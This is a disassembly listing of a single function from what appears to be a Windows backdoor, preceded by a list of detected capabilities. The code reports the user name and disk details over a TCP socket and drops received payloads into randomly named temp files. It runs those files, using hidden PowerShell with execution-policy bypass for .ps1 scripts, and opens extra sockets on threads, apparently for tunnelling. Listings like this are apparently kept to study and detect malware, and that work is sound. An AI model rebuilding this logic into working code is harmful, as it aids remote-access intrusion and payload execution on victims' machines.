Function at 0x10001898
Capabilities:
Create tcp socket
Create thread
Get common file path
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff8f0
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10002b73
push 0
push 1
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0x6d0], eax
cmp dword [ebp + 8], 0
je 0x100018eb
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x10001f59
mov dword [ebp - 0x3c], eax
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x10001f59
mov dword [ebp - 0x7c], eax
mov edi, dword [ebp - 0x7c]
mov dword [edi], 0x100
push edi
lea eax, [edi + 0x52]
push eax
push 2
call sub.secur32.dll_GetUserNameExA
push 0xa
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x3a4]
push eax
call fcn.10001012
test eax, eax
je 0x10001f59
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x6e0], 1
mov dword [ebp - 0x6dc], 0x927c0
mov dword [ebp - 0x6d8], 0x2710
push 0
push 0
lea eax, [ebp - 0x6e4]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x6e0]
push eax
push 0x98000004
push dword [ebp - 0x3a4]
call sub.ws2_32.dll_WSAIoctl
push 0x32
lea eax, [edi + 0x1c]
push eax
push 0x10005081
call fcn.10002aec
call fcn.100027c9
mov word [edi + 0x4e], ax
call fcn.1000284e
sub eax, 0x2000
test eax, eax
jle 0x100019b9
mov byte [edi + 0x50], 2
call fcn.1000281c
mov byte [edi + 0x51], al
mov byte [edi + 0x7b], 0
push 0
push 0
push 0
push 0
lea eax, [edi + 0x7c]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
push 0x32
lea eax, [edi + 0x4e]
push eax
push 0x32
push 0x10005081
call fcn.100025ae
mov eax, dword [ebp - 0x7c]
add eax, 0x1c
push 0
push 0x64
push eax
push dword [ebp - 0x3a4]
call fcn.10002967
push 4
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.10002aec
cmp dword [ebp - 0x4c], 0
jne 0x10001a7a
cmp dword [ebp - 0x84], 4
je 0x10001a7a
push 0
push 0x78
lea eax, [ebp - 0x78]
push eax
push 0
push dword [ebp - 0x3a4]
call fcn.10002b39
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
lea eax, [ebp - 0x78]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0
jl 0x10001f59
or eax, eax
jne 0x10001a7a
cmp dword [ebp - 0x80], 0
jne 0x10001f59
cmp dword [ebp - 0x84], 0
jne 0x10001f59
mov dword [ebp - 0x6f8], 1
jmp 0x10001a04
mov edi, dword [ebp - 0x7c]
cmp dword [ebp - 0x80], 0
jne 0x10001a90
cmp dword [ebp - 0x84], 4
jne 0x10001ecf
cmp word [edi + 2], 0
jne 0x10001ad3
cmp byte [edi], 0xff
jne 0x10001ab1
cmp byte [edi + 1], 0xfe
jne 0x10001ab1
mov dword [ebp - 0x6fc], 1
jmp 0x10001f59
movzx ebx, byte [edi + 1]
cmp dword [ebp + ebx*4 - 0x3a4], 0
je 0x10001ec0
mov dword [ebp + ebx*4 - 0x3a4], 0
jmp 0x10001ec0
cmp dword [ebp - 0x4c], 0
jne 0x10001b08
push 0
push 0x10000
push dword [ebp - 0x3c]
push dword [ebp - 0x3a4]
call fcn.100029ee
test eax, eax
jle 0x10001f59
mov dword [ebp - 0x4c], eax
push 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10002aec
mov edx, dword [ebp - 0x80]
movzx ecx, word [edi + 2]
sub ecx, edx
cmp dword [ebp - 0x4c], ecx
ja 0x10001b19
mov ecx, dword [ebp - 0x4c]
push ecx
lea eax, [edx + edi + 4]
push eax
push dword [ebp - 0x50]
call fcn.10002aec
add dword [ebp - 0x50], ecx
sub dword [ebp - 0x4c], ecx
add dword [ebp - 0x80], ecx
push 2
lea eax, [edi + 2]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.10002d49
cmp eax, 1
jne 0x10001ec0
movzx eax, word [edi + 2]
push eax
lea eax, [edi + 4]
push eax
push 0x32
push 0x10005081
call fcn.100025ae
movzx ebx, byte [edi + 1]
cmp word [edi], 0xffff
jne 0x10001dd3
mov ebx, dword [ebp - 0x7c]
movzx eax, word [ebx + 2]
mov byte [eax + ebx + 4], 0
mov esi, eax
push 4
lea eax, [ebp - 0x700]
push eax
call fcn.10002b73
jmp 0x10001ba2
cmp byte [esi + ebx + 8], 0x23
jne 0x10001ba1
lea eax, [esi + ebx + 9]
mov dword [ebp - 0x700], eax
mov byte [esi + ebx + 8], 0
jmp 0x10001ba6
dec esi
or esi, esi
jne 0x10001b89
mov byte [ebp - 0x710], 0x65
mov byte [ebp - 0x70f], 0x78
mov byte [ebp - 0x70e], 0x65
mov byte [ebp - 0x70d], 0
lea eax, [ebx + 8]
push eax
call fcn.10002cb4
cmp dword [eax + ebx + 4], 0x7362762e
jne 0x10001bf1
mov byte [ebp - 0x710], 0x76
mov byte [ebp - 0x70f], 0x62
mov byte [ebp - 0x70e], 0x73
mov byte [ebp - 0x70d], 0
cmp dword [eax + ebx + 4], 0x7461622e
jne 0x10001c17
mov byte [ebp - 0x710], 0x62
mov byte [ebp - 0x70f], 0x61
mov byte [ebp - 0x70e], 0x74
mov byte [ebp - 0x70d], 0
cmp dword [eax + ebx + 4], 0x646d632e
jne 0x10001c3d
mov byte [ebp - 0x710], 0x63
mov byte [ebp - 0x70f], 0x6d
mov byte [ebp - 0x70e], 0x64
mov byte [ebp - 0x70d], 0
cmp dword [eax + ebx + 4], 0x3173702e
jne 0x10001c63
mov byte [ebp - 0x710], 0x70
mov byte [ebp - 0x70f], 0x73
mov byte [ebp - 0x70e], 0x31
mov byte [ebp - 0x70d], 0
lea eax, [ebp - 0x6c8]
push eax
lea eax, [ebx + 8]
push eax
call fcn.10001137
cmp eax, 0x400
jle 0x10001dc2
mov dword [ebp - 0x6cc], eax
mov esi, dword [ebp - 0x7c]
mov word [esi + 2], 4
push 3
lea eax, [esi + 1]
push eax
push 0x32
push 0x10005081
call fcn.100025ae
push 4
lea eax, [esi + 4]
push eax
push 0x32
push 0x10005081
call fcn.100025ae
push dword [ebp - 0x6d0]
push 7
lea eax, [esi + 1]
push eax
push dword [ebp - 0x3a4]
call fcn.10002967
mov edi, dword [ebp - 0x7c]
push edi
push 0x200
call sub.kernel32.dll_GetTempPathA
add edi, eax
mov ax, 0x5c
stosb byte es:[edi], al
push 4
call fcn.10002d6a
lea ebx, [eax + 4]
push 0x18
call fcn.10002d6a
add eax, 0x61
stosb byte es:[edi], al
dec ebx
jne 0x10001ce7
mov ax, 0x2e
stosb byte es:[edi], al
lea eax, [ebp - 0x710]
push eax
call fcn.10002cb4
lea eax, [eax + 1]
push eax
push edi
lea eax, [ebp - 0x710]
push eax
call fcn.10002aec
push 0
push 2
push dword [ebp - 0x6cc]
push dword [ebp - 0x6c8]
push dword [ebp - 0x7c]
call fcn.10002d9b
lea edi, [esi + 0x200]
mov ecx, 0x13
push 0x18
call fcn.10002d6a
add eax, 0x61
stosb byte es:[edi], al
loop 0x10001d3a
xor al, al
stosb byte es:[edi], al
cmp dword [ebp - 0x710], 0x317370
jne 0x10001dab
push 0x26
lea eax, [esi + 0x400]
push eax
push str._WindowStyle_Hidden__ep_bypass__file__
call fcn.10002aec
push dword [ebp - 0x7c]
call fcn.10002cb4
mov word [eax + esi + 0x426], 0x22
push eax
lea eax, [esi + 0x426]
push eax
push dword [ebp - 0x7c]
call fcn.10002aec
push 0
push 1
lea eax, [esi + 0x400]
push eax
push str.powershell
push 0x14
lea eax, [esi + 0x200]
push eax
call fcn.10001fc6
jmp 0x10001dc2
push 0
push 1
push 0
push dword [ebp - 0x7c]
push 0x14
lea eax, [esi + 0x200]
push eax
call fcn.10001fc6
lea eax, [ebp - 0x6c8]
push eax
call fcn.10001435
jmp 0x10001eb9
cmp byte [edi], 0
jne 0x10001ea2
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x10001f59
mov esi, eax
push 0x180
push esi
push edi
call fcn.10002aec
lea eax, [ebp - 0x6c4]
mov dword [esi + 0x180], eax
mov dword [esi + 0x184], ebx
push 4
lea eax, [esi + 0x188]
push eax
lea eax, [ebp - 0x6d0]
push eax
call fcn.10002aec
lea eax, [ebp - 0x3a4]
mov dword [esi + 0x18c], eax
mov dword [esi + 0x190], esi
cmp byte [esi + 7], 4
je 0x10001e51
push 6
push 1
push 2
call sub.wsock32.dll_socket
jmp 0x10001e5c
push 6
push 1
push 0x17
call sub.wsock32.dll_socket
mov dword [ebp + ebx*4 - 0x3a4], eax
mov dword [ebp - 0x6d4], 1
push 4
lea eax, [ebp - 0x6d4]
push eax
push 1
push 6
push dword [ebp + ebx*4 - 0x3a4]
call sub.wsock32.dll_setsockopt
push 0
push 0
push esi
push 0x10001515
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp + ebx*4 - 0x6c4], eax
jmp 0x10001eb9
movzx eax, word [edi + 2]
push 0
push eax
lea eax, [edi + 4]
push eax
push dword [ebp + ebx*4 - 0x3a4]
call fcn.10002967
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
jmp 0x10001f54
cmp dword [ebp - 0x4c], 0
jne 0x10001f0a
push 0
push 0x10000
push dword [ebp - 0x3c]
push dword [ebp - 0x3a4]
call fcn.100029ee
test eax, eax
jle 0x10001f59
mov dword [ebp - 0x6f8], 1
mov dword [ebp - 0x4c], eax
push 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10002aec
mov ecx, dword [ebp - 0x84]
mov edx, 4
sub edx, dword [ebp - 0x84]
cmp dword [ebp - 0x4c], edx
jae 0x10001f23
mov edx, dword [ebp - 0x4c]
push edx
lea eax, [ecx + edi]
push eax
push dword [ebp - 0x50]
call fcn.10002aec
add dword [ebp - 0x50], edx
sub dword [ebp - 0x4c], edx
add dword [ebp - 0x84], edx
cmp dword [ebp - 0x84], 4
jne 0x10001f54
push 4
push edi
push 0x32
push 0x10005081
call fcn.100025ae
jmp 0x10001a04
push dword [ebp - 0x3a4]
call fcn.10002a41
lea esi, [ebp - 0x3a4]
mov ebx, 0xc8
mov dword [esi], 0
add esi, 4
dec ebx
jne 0x10001f6f
xor eax, eax
lea edi, [ebp - 0x6c4]
mov ecx, 0xc8
repe scasd eax, dword es:[edi]
jne 0x10001f7b
push dword [ebp - 0x6d0]
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x3c]
push eax
call fcn.10001435
lea eax, [ebp - 0x7c]
push eax
call fcn.10001435
cmp dword [ebp - 0x6fc], 1
jne 0x10001fb9
push 0
call sub.kernel32.dll_ExitThread
mov eax, dword [ebp - 0x6f8]
pop esi
pop edi
pop ebx
leave
ret 8